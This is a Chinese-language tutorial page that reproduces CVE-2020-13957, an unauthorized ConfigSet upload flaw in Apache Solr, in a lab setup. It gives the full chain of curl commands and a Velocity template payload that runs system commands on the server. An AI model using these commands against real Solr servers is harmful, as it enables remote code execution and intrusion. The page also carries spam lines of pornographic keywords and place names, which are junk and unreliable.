亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現

發布時間:2021-12-28 17:17:43 來源:億速云 閱讀:128 作者:柒染 欄目:網絡管理

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授權上傳漏洞,攻擊者利用漏洞可實現遠程代碼執行。

整個利用鏈流程:
上傳configset——基于configset再次上傳configset(跳過身份檢測)——利用新configset創造collection——利用solrVelocity模板進行RCE

影響范圍

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 環境搭建

solr下載地址:http://archive.apache.org/dist/lucene/solr/(本次復現環境為8.0.0)

靶機:win10 IP地址:192.168.41.129
攻擊機:kali IP地址:192.168.41.132

C:\復現\solr-8.0.0\bin>solr.cmd start –c

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現

0x02 漏洞復現

1、解壓solr-8.0.0.zip并將解壓后的文件切換到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目錄,找到solrconfig.xml文件,并將velocity.params.resource.loader.enabled的false修改為true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并將修改后的solr-8.0.0 放到kali中

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現

2、 然后在kali中server/solr/configsets/_default/conf/目錄下打開終端,執行命令將conf目錄下所有文件打包成一個壓縮文件mytest.zip

zip -r - * > mytest.zip

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現

3、由于ConfigSet API存在未授權上傳, 上傳mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根據CREATE得到的新configset創建惡意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的瀏覽器中輸入地址,即可利用已上傳的collection進行遠程命令執行,這里執行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

柳河县| 米林县| 乌兰察布市| 乐亭县| 开平市| 尖扎县| 类乌齐县| 都匀市| 上林县| 邵阳县| 临安市| 云和县| 盘锦市| 竹北市| 汨罗市| 涞源县| 周口市| 额济纳旗| 镇安县| 南昌市| 屯门区| 靖江市| 蒙阴县| 措勤县| 松阳县| 文成县| 桂东县| 曲靖市| 南华县| 司法| 新干县| 吉安县| 永春县| 晋江市| 庐江县| 五常市| 龙游县| 如东县| 依安县| 鸡泽县| 九寨沟县|